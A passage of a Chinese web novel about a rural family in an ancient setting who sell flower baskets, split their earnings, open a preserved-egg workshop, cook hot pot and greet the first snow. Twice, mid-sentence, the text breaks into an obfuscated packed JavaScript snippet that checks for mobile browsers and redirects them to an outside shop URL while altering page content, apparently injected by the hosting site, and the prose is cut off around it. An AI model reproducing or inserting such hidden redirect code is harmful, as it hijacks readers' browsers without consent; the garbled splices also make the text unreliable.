“那是当然,我们家采取山泉水,用大骨汤熬上一夜,再加入产量极少的灵米和各种天材地宝熬制而成。”林知臭屁地说,到后来她自己都编不下去了。 “噗嗤……”一旁默默听着的崔璋抚了抚衣袖,无奈扶额。 认真取经的余姚反应过来,横眉怒目,“好啊,林知,你竟然敢骗我!” “哈哈哈——”林知大笑。 想她余姚,走南闯北一世英名,竟然被一个小孩子给耍了。 “好啦好啦,余姐姐,我给你赔不是。”林知连忙作揖赔礼,还从摊子后面抱出来一盆花。 他们今天带来了不少花篮,除了卖出去的二十盆,城里也转了大半,看来是卖不出去了,所以拿来送人也不错。 “这还差不多。”余姚接过小花篮,仔细看看,“你倒是有雅致,这花篮摆在桌上或者挂在书房里都好看。” “余姐姐喜欢,我再送你几盆。”林知大方的说,这花对她来说又不是多稀奇之物。 “算了,小孩子的便宜我还是不占了,多少钱一盆我就买下了。”余姚摇摇头,“诶,不要忙着拒绝。还有多的吗?再来几盆,凑起来好看。” 林知道:“那好啊,我就不跟余姐姐客气了,我们卖的一百文一盆。那明天我再送来十盆吧。我也不占大人的便宜,说好了,今天这盘花是送给余姐姐的。” 余姚一拍桌子,笑道:“爽快!” 崔璋极有眼力见儿地从袖子里掏出一两银子来,放在林知面前的桌上。 林知不客气的收下了。 日头渐高,阳光满世界都是,就这样飞舞着,照得人软酥酥的不想动弹。 余姚他们很喜欢和林知说话。 毕竟林知又不是真的稚童,既不用像哄孩子一样麻烦,也不用像面对老奸巨猾的大人那样费心,更不用担心她会听不懂他们说的话,有一种无力感。 林知对这个世界还不是很了解,所以她总是拐弯抹角地向余姚他们打听相关的消息,不过,她都是点到即止不敢暴露太多,余姚和崔璋看起来可不简单。 好在她这个年纪有足够的掩饰性,天真烂漫涉世不深嘛,可不对外面充满了好奇心。 林知不动声色的提起,“我们今天去了县令的家,里面好大,县令夫人好好看啊!” 余姚逗趣地问:“那是她好看,还是我好看啊?” 林知甜嘴道:“那当然是余姐姐啦!” “你呀!就是个小机灵鬼,见人说人话,见鬼说鬼话。”余姚点了点林知的额头。 “那他们是哪里人啊?”林知旁敲侧击。 人就是爱热闹,谈起八卦来,那是滔滔不绝,余姚来了兴致。 “这位县令夫人呢,姓江。是郑州长史江涛的幼女,上面还有个姐姐。虽然她们没有个兄弟照应,但是好歹有个从五品上的爹嘛。哪知这个爹也不是个看得清的,从同姓旁支里过继了一个回来。这爹还没死呢,就开始争家产,使劲法子急忙把女儿给嫁出去。” 余姚话里话外满是嫌弃。 “大女儿嫁给一家新贵,可惜知人知面不知心,转头就宠妾灭妻,剩下个养歪了的儿子。这又想小女儿嫁入世家,可惜是个远房,不过是占了个姓氏的便宜,内里比前一个还不如呢……” 余姚声音虽然不大,却能让人听得清清楚楚,不仅林知,连其他几个孩子都坐下了。 见余姚说累了,林知连忙殷勤递上一杯温水。 余姚深吸一口气,喝了半杯,她朝崔璋挥挥手。 崔璋好笑地摇摇头,但是顺着她,朗声开口道:“这位郑县令名固,字敬安。是荥阳郑氏旁支的子弟,少敏聪慧,所以自己考学做了官。为人倒也正直廉洁,就是不擅俗务。” 还不等林知说话,余姚冷哼一声,“还不是因为他姓郑,要不然连个县令都捞不着。廉洁是因为穷,还得自家妻子补贴家用呢。这不擅俗务,就是蠢,不会做官。” “噗嗤——”林知笑出声。 崔璋无奈,“那我现在还不是靠你养着……” 余姚挎上他的胳膊,亲昵地说:“那可不一样,你可是我们家的乘龙快婿。”还不忘眨眨眼。 在林知几人飘忽不定的眼神下,崔璋连连告饶,“夫人所言极是。” 余姚见他一本正经看着自己的样子,小脸儿一红,轻咳转移话题道:“这郑氏呢,是个大族。先祖可追溯到周宣王分封的郑国,韩哀侯灭郑后,子孙相继以国为氏。” “汉末年,以郑当时一脉的郑浑、郑泰等人为开始,逐渐发展为高门望族,北魏孝文帝时与范阳卢氏、清河崔氏、太原王氏并称为四姓,位列‘七姓十家’。” 余姚没有解释太多,林知也不需要她解释,毕竟她还是了解一些事情的。 所以林知好奇地反问,“所以崔先生是清河崔氏吗?” 本想着随便说一说也没有料到林知还真给记住了,余姚和崔璋笑而不语。 企图想引走注意力的余姚于是疑惑道:“为什么我是姐姐,你们叫他是崔先生?” 林知深知有些事不能强求,她也打着哈哈说道:“因为叫哥哥很奇怪的。” 就这么一打岔,前面的话题应该是继续不下去了。摊子上的人已经走光了,林二郎夫妻也在收拾东西,准备回去了。 余姚站起来拍了拍衣袖,“好了,时辰不早了,你们也快些回去吧。这路上还得花费不少时间呢,免得回去晚了。” 送走他们这最后一桌,林家人就准备返程。 林义身怀巨款,此刻恨不得马上飞回家里,一群小孩儿七手八脚就要往上板车爬,林二郎一边呵斥他们,“去去去,怎么来的怎么回去啊!” 一边抽空伸出一只手来把孩子堆到板车上。 最后,最大的林义和林礼被派去坐林二喜的牛车回去。当然,钱袋被留了下来。 被抛弃的林义恶狠狠地放话,“我一定比你们先到家!” 林知不为所动,笑眯了眼,摸了摸车上的钱袋子,“可是,钱在我们这里啊!” 林二郎无语地看着他们打闹,林礼费劲地拉住快要冲上去咬人的林义,好心劝道,“二哥,二哥——” 最后林义还是被“小心她不给你分钱了”的理由打住,并嘴硬“好汉不吃眼前亏”。 回家的路总是很快的,分钱心切,大家根本没有心思去注意路边的风景。 林义他们俩在村口下的车,为了早些赶上林知他们,两人飞奔回家。所以两波人一起相撞在门口。 进院子的时候,几人还遇到了来送竹筒的林大福,他拿着林阿奶给结的钱一脸老实憨厚地冲林义他们打招呼。 “义小子,你们回来了。” “大福叔好!”一串儿的孩子异口同声的叫人。 “好好好,你们快进去吧,林二叔他们等你们吃饭呢。”林大福呵呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213795|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着。 家里正等着吃午饭呢,因为要等人,所以他们早就过了正常吃午饭的时辰,所以才有林大福送东西那一幕。 刚好,林知他们边吃饭边向林阿爷汇报今天的事。 林阿爷直接黑脸,“你们今天早上逃课了。” 谁知道,他今天早上起来发现家里孩子都不见了,是吓一跳。最后还是林大郎说,迷迷糊糊看见他们跟林二郎夫妻走了。 几人在林阿爷强大的气压下缩了缩脖子,林知心虚地举手道:“阿爷,我们是去赚钱了。” 林义急忙拖着装钱的布袋子给大家看,想要证明他们所言非虚,大声地道:“真的,你们看!” 随着布袋在地上摩擦,“叮叮当当”的声音让其他人瞪大了眼睛。 见注意力被吸引走了,林阿爷气撒不出来,只好丢下一句“下次补回来”。 林知拖了一个袋子垫在地上,把布袋里的铜板“哗哗”地倒在地上,再把自己兜里银块也拿了出来。 林二郎夫妻是一直知道,所以并没有多吃惊,林大郎夫妻和林三郎夫妻却忍不住瞪大了眼睛,和他们爹娘一起愣愣地盯着几个孩子。 林大郎的目光从林知手上滑到林义抱着的布袋,道:“阿娘,这么多钱不能给孩子们拿吧,万一掉了怎么办?” 几个孩子一听有些紧张瞪大了眼睛盯着林阿爷和林阿奶,不会把钱给他们没收了吧? 林阿奶瞪了林大郎一眼,转头看向林知等人,微微笑道:“你们也知道家里的规矩吧?家里人无论是谁在外面赚了钱都要交六成到公中。” 一听连他们的钱也要交六成到公中,那要少好多,所以除了林知和林仁外,其他孩子都有些垂头丧气。 林阿爷看见了他们的神色,毕竟年纪还小,孩童心性。又怕他们心生怨怼,于是耐心解释道:“你们也是家里的一份子,既然是规矩,就不能有例外。” 他顿了顿又说:“一个家,少不了每个人的作用。比如你们平时吃穿用度都是公中出,以后嫁妆钱,娶亲也是一样。再说,要不是我们没有分家,就每家出服役的人,那么一个家里就没有了劳动力,就没有人耕种,粮食就会少。而且现在家里修的房子也是大家齐心协力才能做到的,对不对?” 林阿爷尽量简明地跟他们讲道理。 几个孩子听得一愣一愣的,但是也懵懂地点了点头,神色不再纠结。 林知暗道,有些事还是说明白好,她也不喜欢那一套什么“时候到了,道理自然就明白了”的做派。 林仁找来了串钱的绳子,然后大家开始数钱。 虽然他们都知道有多少钱,但是再摸一摸钱,数一数,总是心生愉悦的。他们把数过的铜板一堆一堆的放好,几个孩子都嘻嘻地笑,把刚才的事儿都抛之脑后了。 林知算出六成来交给林阿奶。 把那两块儿银子给林阿奶,又从散落的铜板里数出二百八十文给她,这就算交了公中了。 剩下的钱就是他们的了,一共还有一千五百二十文。 因为银子不好分,所以林知把他们跟林阿奶换了铜钱。家里现在在做生意,所以大量的铜钱还是有的。 吃过了饭,林知这才捧着大缩水的钱出门去了,虽然只有四成,但这么多钱还是他们平时想都不敢想的。 跟在后面的孩子们早就心思不属了,因为他们可以分钱了! 林知走到院子里,小手一挥,就和大家道:“走,分钱去。” 孩子们欢呼起来,簇拥着她往柴房边的房间走去,那是现在林义和林仁住的地方,平时有什么事情,他们都是在这里商量的。 林知坐在床上,其他人把她围在中间。 “虽然事先没有说好这个钱该怎么分,但是既然我们种寒瓜也是按份额分,那这次也是一样的。” 44. 第44章 他们先前就商量好了,林知负责技术,所以一人独占两份儿。林仁、林义、林慧,林礼年纪大,出的力最多所以每人一个半的份额。至于林智林敏和俞珩也有参与,所以他们三人分两个份额。 大家很快把钱分出来了,就照着之前的份额分的。 林知得了三百零四文,林仁他们有二百二十八文。因为林智三个人分不了,所以林知笑眯眯的又给他们填了两文,一人得了一百零二文。 大家还是第一次手里拿了这么多钱,个个捧着数来数去的。 林智抱着他姐的腿,仰着小脸说:“阿姐,我把钱放在你这里保管好不好?” 林知表示没有问题,其他人眼珠子一转,纷纷效仿,只留下几文在手里,其他的钱全放在林知那儿了。 林知找了个时间把钱都收到空间了,把它们一堆一堆的放好,再用纸写上名字做个标记就好了,一点也不麻烦。 她看着空间里散落的铜板,想着还是找她阿爹做几个小盒子来装钱的好。 果然晚上,各房都知道他们今天是分了钱的,都拉着孩子“哄骗”。庆幸有先见之明的众人无辜表示,自己的钱都放在林知那里了。 进了林知的口袋,可没有人能掏出来,所以大人们只能作罢。 至于林知,林二郎他们当然没有去问她要钱。 此时,她正盖着小被子,小肚子一伏一伏的睡得香甜呢。 第二天一早,林三郎就带着林知所托的十盆花篮交给了余姚。为了更方便,林知还贴心的写了一份儿种花注意事项,还不忘给县衙江夫人送一份儿。 收到信的两家不约而同想,这小姑娘办事倒是周到。 * 霜降枝头白,温酒待冬临。 霜降过后,清晨的冷空气已经可以让哈气变成凉凉的白雾。 林家建的房子已经接近尾声,毕竟材料足够,人也多,建房子还是很快的,所以四间砖石房不到十五天就建好了。 林阿奶将工钱结算后看了一下钱盒里剩下的钱,有点儿心痛,“还得准备被褥和床呢。” 一张床,不算木料,光给木工的工钱就不止两百文了,光是林二郎一个人也做不过来啊,看来还是得请人做,这儿又得去不少钱。 新房子建好,他们并没有立刻就搬进去,一是床铺什么的都还没打好,二则是新房子总是有些潮湿的,所以得用火烘一烘。 因为不是全建新房,而是增加几间屋子,所以林家并没有打算大肆宴客,只是最后竣工的时候办了几桌席面请干活儿的人吃了个饭。 烘房子是林大郎他们来负责,在林义他们眼里不过是拿着火把这里照照,那里看看,十分简单有趣。所以他们也要吵着上手玩儿。 林大郎实在被周围一群人“叽叽喳喳”的声音吵得头疼,他一张嘴怎么争得过这么多人嘛? “去去去,小孩子玩火,晚上是要尿床的!”林大郎怒骂道,“你们要是再不听话,我就告诉你们阿奶,让她来收拾你们!” 这下终于震慑到一群皮猴儿了。 可惜不到一刻钟,他们又跟在林知屁股后面在各个房间里乱窜,玩起了捉迷藏。 孩子们呼啦啦地跑到一边,但不一会儿又跑了回来,嘻嘻哈哈的乐得不行。 打了霜过后,大约只要再等几天就要收获大白菜了,因为经霜的大白菜味道会更好,有一种让人沁心的甜味。 一早起来林知没有看见院子里有人。就知道林阿奶他们肯定是去菜地了,今天家里要收秋白菜,一般家里这种大事都得林阿奶拿主意。 林家不仅旁边有个菜园子,还专门开出来了一块儿地来种菜,就在河洼地那边。 于是林知也跑去了地里看热闹,后面还跟着两个小尾巴——林智和林敏。 太阳还未升起,路边枯黄的草茎上,挂满了如碎雪一样的冰晶。 林智很是调皮,专门把这些冰晶给打落。连带着林敏也屁颠屁颠地跟着玩,两人一路嘻嘻哈哈地直打到菜地里。 冬日没有什么植被了,褐色的土地裸露出大块儿,覆着些草根。 偶尔可以看到几只鸟雀,蹦蹦跳跳地在路边捡拾被风遗落的草籽。 林阿爷、林阿奶和钱氏罗氏他们在地里弯着腰割菜,翠色的菜叶上罩满了霜的晨晖。 林慧、林仁、林义则负责扒去外面一层干烂的菜皮,林礼帮他们放进篓子里由林二郎和林三郎挑回去家去。 “阿奶、阿爹阿娘,三叔三婶儿——”林知远远地看见他们就开始喊人。 后面两个也跟着奶声奶气叫。 林阿奶抬起头来,揉了揉弯久了腰,“你们怎么跑来了,不是让你们看弟弟妹妹们嘛?” 林知道:“福宝和乐宝才玩累了睡着了,一时半会醒不了的。”说着她晃了晃手中的茶壶,笑嘻嘻地说:“我来给你们送点热水啊,天气太冷了,暖暖身子。” 虽然大冬天的很冷了,但是干起活来浑身都会发热,还真不用喝热水,不过倒是有些口渴。 地里干活儿的几人交替地坐在田坎上歇一歇喝口水。 林阿奶看着地里收成不错的白菜,高兴地说:“今年的菜收成都不错啊!前几天在地里揪了几颗萝卜也一样,又大又水灵。” 在一般剥掉外面那层菜叶的马氏也笑,“是啊,不知道怎么回事,今年这白菜长得格外好。个头大,烂叶子也少。” 罗氏也笑道:“前两天桂婶子路过我们家菜地看见这么好的菜,打招呼说今年来换点菜种。” 乡下换菜种这件事也不少见,而且他们还很热衷于这样,还有来有往的。 林阿奶思索片刻,“难不成是家里的肥料好?”不过一会儿她又否决了这个想法,“这一批菜都一个月了才施的后面的肥,而且也没有用多少啊。” 坐在一边的林阿爷捻了几根烟丝点上:“管这么多干嘛。” 一旁默默看着他们的林知竖起耳朵听着,心想他们应该发现不了什么吧。 林二郎把最后一篓的白菜给挑了回去,一群人收拾收拾东西也跟着回去了。 林知感慨暗想,家里人多就是好啊,这么大的一块儿地,半天就收完了。 他们家储存大白菜的方法比较简单,一些直接放进菜窖里,一棵棵大白菜扒去烂叶后码在里面,将吃时还能看到黄嫩的叶子上挂着水珠。 除了放在菜窖里还可以腌菜,把白菜摘回来洗净,晾去水气下缸,一层菜,一层盐,码实就可以了。 随吃随取,到来年春天家里都能吃上菜。 马氏已经回来麻利地把院子收拾出来了,全家老小齐上阵,拿个小凳子坐在院子里就开始剥菜,这一次剥的则是一些不太好的叶子。 地里剥掉的是干了或者烂坏了的叶子,喂鸡也不吃,懒得背回来,所以直接扔在地里还能做些肥料。 罗氏把外层摘下来的菜叶装在簸箕里拿去喂鸡,今年菜好,几担白菜也没多少烂叶子。 林二郎和林三郎穿着褂子,光着膀子提了一桶一桶的水,“哗啦”地倒在木盆里。 太阳正好,细小的水珠犹如跳跃的珍珠溅到地上。 林知欢快地凑热闹,蹲在地上把手伸进去拨起水花。 林阿奶嫌弃地把她招呼到一边,“去去去,别蹲在这儿,碍事儿。”她一手拿着一兜白菜在盆里麻利浸几下就搁在干净的盆里码好。 白菜外面的叶子摘去了也没有多脏,所以简单清洗一下就好了。 于是院子里轰轰烈烈地干起来流水线作业,换水,清洗,晾在架子上的簸箕里,顺畅得不得了。 边洗林阿奶边闲话道:“前两天我找村里几户人家商量过了,让他们自己出人到我们作坊里干活,一天能给二十二文。” 这是他们家提前商量好的,比县里干活给的要高一些,而且他们作坊只要女人。 马氏动作一缓,不经意地问,“那我们能要这么多人吗?” “人多一点儿没事儿,活儿就那么多,多一些人早几天干完,还能少付几天工钱呢。”林阿□□也不抬地回答,她心里有本账呢,清楚 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一下午他们就把白菜一些装进地窖,一些清洗干净,晾去水汽打算再晾几天拿来做腌菜。 晚上林知摘了一些新鲜的白菜拿来做锅子。她先前早就有了吃火锅的想法,就是这里既没有辣椒,现在也没有机会打个那样的锅。 但是没有关系,清汤也能吃! 所以林知央着林二郎给她用木头做了一个木架子,虽然有些简陋,但是这样下面放碳火上面放锅也是一样。 林知选取了一些肥瘦相间比较均匀的五花肉来做肉丸子,准备剁成有颗粒感的肉泥。 当然,不是她自己剁,是让她爹来干的。 调味的时候,先放少许食盐拌匀,然后用姜水去腥,多次少量加入到肉馅里面,沿一个方向搅拌上劲。 加入一些水可以使肉馅更易抱团,尤其是煮熟后,肉丸也会更加有弹性,口感也会更好。 林知还敲了几个鸡蛋和白萝卜,加入其他调料拌匀就好了。 提前用水把肉丸汆烫好,再单独烹饪,等水开始冒小泡的时候,就可以直接开始下丸子,肉丸漂起来,就可以直接出锅了。 天已经完全黑了,堂屋里也烧上水了。林知先把肉丸子和白菜下进去。 不一会儿,锅子就开始咕嘟嘟冒气了,饱含汁水的菜香味和肉香味儿开始弥漫。 林三郎夸赞道:“在吃东西这一件事儿上,还是得我们只只,一点儿也不委屈自己。” “这样也好,冬天天气冷。还没怎么吃呢,这饭就凉了。这拿个锅子边煮边吃,这下既省了做饭的功夫,吃起来又暖和。”马氏惊奇道。 其他人也赞同称是。 只是林知咬着筷子,鼻尖萦绕着肉的香气,根本没有心思回答这些话。 她摸了摸自己的肚皮,好饿啊!好想吃啊! 炖白菜肉丸汤,里面加上香菇和鲜豆腐。汤清味美,让人垂涎三尺。 切几片薄薄的羊肉,涮几秒就可以入口即化,蘸点酱就可以香得让人把舌头给吞下去。 林阿爷见大家都已经望眼欲穿了,于是举起筷子道:“快吃吧。” 初冬的大白菜原本味道就很清甜,经过如此煨煮之后的厚厚菜梗已经入口即化,淡淡的菜的甜味也融入到鲜美的汤汁中。 见林知一手烫肉,一手舀汤都快忙不过来了,俞珩把自己刚烫好的羊肉放在了她的碗里。 “谢谢小花儿——”女孩儿笑弯了眼。 “不…不用谢……” 作为礼尚往来,林知帮他盛了一碗热腾腾的汤,还舀了几个丸子,“尝尝,这个特别鲜嫩多汁。” “好。”俞珩也笑开了眼。 就是这样简单的食材,和着冬日里雾蒙蒙的窗子里的昏黄烛光,裹挟着碳炉上蒸腾的水汽,让人心头一暖。 林阿爷来了兴致,端着碗筷就说:“《诗经》中写道:‘采葑采菲,无以□□。’你们可知是什么意思?” 45. 第45章 不等其他人回答,他就悠闲自得地接着说:“在古代,人们采集白菜的祖先“葑”的幼嫩花薹来做食物。” “不过,野生的芸薹并不是一种可口的食物,它的叶子虽然鲜嫩多汁,但是苦涩的味道却让人难以下咽,只有春天里快速生发的花薹,因为来不及聚集苦涩的物质而刚好可以采摘回来食用。” 林仁感慨地说:“‘葑’的苦味虽然没有得到人们的喜爱,但是它依然可以让那些贫困又饥饿的人们采摘回来填饱肚子。” 林知烫着肉片,吃进嘴里烫得含糊的说:“所以说,世间万物皆有可能做成好吃的!” “哈哈哈——这话啊,话糙理不糙。”大家不约而同地笑了起来。 吃过一顿热乎的晚饭,时辰还早,所以林家人齐聚在堂屋里闲话。 天气冷了,所以屋里放着烧着的柴火取暖,大人小孩凑在一个屋子里。带着炭火的清香,火焰跳动着,散发出温暖的光芒,照亮了周围的一切。 林阿爷和林阿奶他们带头在讨论过两天作坊开工的事情。 之前林知做的皮蛋已经用完了,皮蛋瘦肉粥还是挺受欢迎的,还有不少人向他们打听能不能单独买到这个皮蛋。 所以林家把作坊做起来的想法就更加迫切了。 这段时间,林知把法子改进了不少,比如用松枝、柏叶、盐、山茴香、陈皮熬制的原汤加入山柴灰、清灰和成硬泥,用稻糠和在外面封缸保存。 这选鸭蛋也得是一门技术活,不过这方面显然林家其他人可比林知有经验多了。 这做出来的皮蛋,切开后蛋块色彩斑斓。食之清凉爽口,香而不腻,味道鲜美。 林知旁听了一会儿,发现根本用不上她,家里完全可以应付过来,所以就撒手不管了,而是和林智他们混在一起去烤火玩。 大人这边讨论得热火朝天,随着火焰燃烧时发出的噼啪声,林智他们也发出一声声惊呼声。 林知略显稚嫩但清晰的声音传来,“我们上回说到,那武松读了印信榜文,方知山上有虎。欲待转身再回酒店里来,寻思道:‘我回去时,须吃他耻笑,不是好汉,难以转去。’” 林智见她姐故意卖关子,急得抓耳挠腮,“然后呢?然后呢?他转回去了没有啊?” 林义嗤笑道:“这个武松怕被别人耻笑,为了撑面子,我猜他肯定不会倒头回去。” 俞珩眼睛亮亮的,沉迷在这从未听过的故事中,见林知问,他向前倾身做倾听状。 林知不答,而是装腔作势地继续讲道:“……他见一块大青石,却待要睡,一阵风过,只听见乱树背后扑地一声响,跳出一只吊睛白额大虫来。” 边说还边“嗷呜”一身站起来,吓得认真听的众人一个倒仰。 一边卧着的大黄也“嗷呜”一声跳起,惹得众人哄笑。 林知便讲故事娓娓道来。 “武松见了,叫声:‘呵呀!’从青石上翻将下来,便拿那条梢棒在手里,闪在青石边……” “说时迟,那时快!原来那大虫一扑,一掀,一剪……武松把那大虫嘴直按下黄泥坑里去,左手紧紧地揪住顶花皮,偷出右手来,提起铁锤般大小拳头,打得那大虫眼里、口里、鼻子里、耳朵里都迸出鲜血来……” 说到尽兴处,林知还站在凳子上,手舞足蹈,声情并茂地讲。 听见最后大虫被制服了,武松还被颂为大英雄,一群人拍手叫好。 林知还不忘“阴恻恻”地朝夹着尾巴落荒而逃的大黄笑。 屋子里一片欢声笑语。 林阿爷他们兀自摇头,不禁笑道:“这孩子,古灵精怪的样子也不知道在哪里学的。” ? 冬日天亮得晚。 淡淡的阳光携一身微凉缓缓探头时,大雾慢慢弥散,天空大地山峦房屋的轮廓开始清晰。隐绰绰房屋升起了寥寥炊烟,透着尘世独有的烟火气息,温暖,依靠,安静。 狗吠深巷中,鸡鸣桑树颠。林家小院犹如从睡梦中苏醒一般。 罗氏拿了竹响篙唰唰地摇着,一面口中轻轻喝着,把鸡从笼子里放出来。 林二郎挑着两桶水,一趟趟的把院子里的水缸添满。 锅碗瓢盆的碰撞声,孩童的朗朗读书声,大人们谈话声随风飘扬而去…… 今天林家作坊就要开始做工了,前几天被选上的十个大小媳妇儿和姑娘们一大早就齐聚在林家门口。 大福媳妇儿李氏搓了搓双手,在身后一群人的殷切注视下朝前走了几步,向里喊道:“表姨母,我们是来上工的……” 李氏也是隔壁上河村的,拐七拐八的算起来,也算是和林阿奶有点亲戚关系,所以叫句“表姨母”也是可以的。 林阿奶出了门,先是对李氏点了个头回应。然后看见门口一群人衣着整洁,还带了帕子把头发包起来的样子就很干净利落,满意地点点头。 “行吧,你们跟我去作坊那儿。”林阿奶拿着作坊的钥匙叫上马氏率先走在前面。 本想快步跟上去的马氏被后面一个比她年纪稍大的妇人给拽住,一下子落后了几步,马氏疑惑道:“大嫂,你干嘛呢?” 张大婶看着这个小姑子,小声地凑在她耳边说:“我来做工这事儿,你婆家没有什么意见吧?” 马家多是老实厚道的人,马氏的娘在张大婶出门前特地嘱咐儿媳,要少说多做,不要添麻烦,让马氏和亲家难做。 所以才有了张大婶问话这一遭。 马氏颇有些无奈地反握住她大嫂的手劝慰。 “大嫂,你想什么呢?这么多年了,你们还不知道,我婆婆就是个面冷心热的人。虽然有些强势,但是也不是好不讲道理的……” 惮于林阿奶的“声名在外”,张氏心思不属地胡乱点了几下头。 看见她大嫂这个反应,马氏也不好再解释什么,只好无奈的摇摇头,人过得怎么样,只有自己心里最清楚,她说的再多,也不一定有人信。 从林家往东去,一刻钟便到了林家作坊,气派的木质大门挂着一把铜锁,两边下去全是望不着的围墙。 来的几个人和自己关系好的或者亲近的人站在一起,忍不住窃窃私语起来,“修的这么气派啊?” “前两天修看还不觉得,这人一少,门一关还像模像样的。” 林阿奶把门打开,跨过门去,“行了,都进来吧。” 一进院子就感觉更加宽阔了,除了摆了一些桌子板凳和水缸之类的东西,不见其他。 而大家显然被“奇怪”的房子给吸引了,正中的屋子修得像亭子一样,四通八达,只有一个屋顶和外墙被围起来,中间也是木门,一关上就可以隔成一个个的小房间。 这是林知从酱园子得出来的灵感,很灵活方便。 林阿奶把大家引着参观了一圈,“我们这作坊啊,啥都没有,就是大。这样干点什么也还周转得开……” 李氏跟在后面笑笑说:“就是这个理。” 其他人纷纷点头附和。 “可以干工了……”林阿奶大手一挥把她们直接分工安排好。 马氏上前领着大柱媳妇和她大嫂去灶台,这里可以烧水煮汤汁。其他人则分头洗鸭蛋或者烧草木灰…… 关键配料和比例都是林家自己人负责,并没有告诉其他人。 除此之外,也就一些琐碎或者重活儿要干了,比如洗蛋,裹蛋和储存到缸里。这要挑不少水,黄泥…… 好在大家也是从小干活儿,干得很是利索,这点儿力度还比不上地里的活儿。 作坊还需要不少的柴火,光靠林家自己的柴,这些当然不够了,所以还是在村里买的。这下村里人更高兴了,不仅家里有人能干活儿,拿到工钱,家里的鸭蛋、木柴也能赚不少钱。 林家作坊就在林阿奶管理下,逐渐走上正轨。 而院子这边,其他人也很忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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要晒的萝卜没有多少,所以他们还预备把腌菜也做了。 上次的菜已经清洗干净,晾去水汽了。还需要用粗盐搓匀,再放入清洗干净的米袋中,用绳子绑好袋口,用大块石头压出水分。 觉得自己帮了大忙的林智跑到他爹身边,若有所思地看着林二郎用大石头压住袋子。 “来,上来帮我踩一踩。”林二郎一把就把林智给抱起来,放在石头上。 林智先是试探性地踩了几下,可能是感到很有趣,胆子大了,动作也放得更开了。“哈哈,这个真好玩。”他笑着用小脚踩了踩。 “二伯父,二伯父,我也要玩!”林敏站在一旁向林二郎伸手求抱。 “好勒。”林二郎咧着嘴,把两个孩子换着抱上去踩,他则站在一边仔细护着,免得他们摔倒。 一行人玩得有趣,时间便不知不觉的过去了。 两人在石头上蹦来蹦去的增加重量使白菜水分充分压干,随后还要继续用石头压几天,最后取出把腌菜装进洗干净的罐子中,压实保存即可,一般可以保存几个月。 当然,腌了四五天的新咸菜也是很好吃的,不那么咸,反而细、嫩、脆、甜,配上粥最是可口。 日子一天比一天过得快,转眼便到了冬月。 林知他们也住进了新房子,四间房每间两人,林仁和林智、林义与林礼、林知与俞珩、林慧和林敏两两为对儿。 房间中间用竹子编成的竹篾隔开,床上最下面铺着一层厚厚的稻草,铺上新被子,向阳而开的明净窗子…… 虽然有些简陋,但好歹也是自己的房间不是,每个人都开心得不得了。 某一日清晨。 林知正裹在被窝里睡的香甜,就感觉有点冷,忍不住缩了缩身子。她张开眼睛,爬起来往窗外看去,却发现到处白茫茫一片,宛若白日,忍不住发出“哇”的一声。 她的动静把睡隔壁床的俞珩也给吵醒了,两个人把窗子打开,趴在窗边惊奇地往外看。 雪花漫天卷地落下来,犹如鹅毛一般,扮纷扬扬。 46. 第46章 轻轻地,轻轻地落在房顶上,落在草地上,落在山峰上。寒风呼啸而过,已经光秃秃的树枝上挂满了晶莹剔透的冰凌。 屋檐下的冰挂还会发出清脆的声音。 在院子里扫雪的罗氏看见在窗边趴着到处看的两个人,还只穿了里衣,忍不住气恼地朝他们喊话,“你们两个还不快点把衣服给穿上,等会着凉了怎么办?” 她扔下手中的扫把,走过去一下把窗子给关上,一把将两个孩子塞进被窝。 林知和俞珩动作一致地缩进被窝,露出个小脑袋冲罗氏讨好地笑笑。 作为几乎只存在小时候的记忆中和新闻报道里的大雪,林知很是感兴趣,她麻利地穿上衣服就跑出去了。 林大郎和林二郎在院子里“嘿呲嘿哧的”用铲子铲雪,因为昨天晚上下的大雪,就不方便再去县里做生意了,路不好走,也容易打滑,他们就留在了家里。 院里几个小孩儿也醒了,纷纷跑出来凑热闹。 林阿爷倒是好兴致,笑呵呵地说道:“瑞雪兆丰年啊!看来明年能有个好收成喽。” 林阿奶没好气地看着院子里闹成一团的人,“行了,还下这么大雪了,现在先别扫了。” 院子里拿着扫把的人也只好丢下东西跑进了屋。 林大郎拍打掉身上的雪,连忙跺了跺脚才快进屋,比起明年是不是丰年,他更担忧被这场大雪影响的人,“村里有好几家老房子了吧,会不会被压垮了啊?” 林阿爷也面色凝重起来,“大郎,你去一趟村长家,找几个人去看看吧。几个小伙子搭伙把村里人都叫醒,这大雪天可是能把人睡过去的……” 半夜下的雪,有些人在睡梦中没有察觉,可能第二天就被冻死了。 林大郎应下就披着蓑衣走了。 林二郎他们也要跟着去帮忙。 林阿爷看着他们深一脚浅一脚的背影,心下叹了一口气,“严冬不肃杀,何以见阳春。” 不过孩子们是没有这个忧愁的,他们正蹲在屋檐下蠢蠢欲动,对已经铺成厚厚一层的雪无比感兴趣。 可惜旁边有大人们“虎视眈眈”地盯着,他们可不敢放肆。 林知此刻无比地想掬一把雪在手,她伸出自己“不安分”的小手,埋进雪堆里抓了一把。 “诶嘿,冰冰凉凉的……”她眼睛一亮,小声嘀咕道。 林义几人有样学样,见大人们没有注意到这边,眼疾手快地抓了一把把的雪。 “要是可以去院子里堆雪人,打雪仗就好了……”林智有些遗憾地说。 “这有什么难的,我们可以直接在这里做小雪人啊。”林知率先将自己先前抓来的雪给捏成小人模样,随手搁在了窗台上,又继续去抓雪。 林义几人也开心的玩起来,他们还用叶子给雪人做帽子或者披风,树枝做手和刀剑。 于是一会儿,窗台上就“站满”了两军对垒的人,形态各异。 “噗嗤……”俞珩贴心地给他们捏了几匹小马,不过实在有些抽象,自己都忍不住笑出来了。 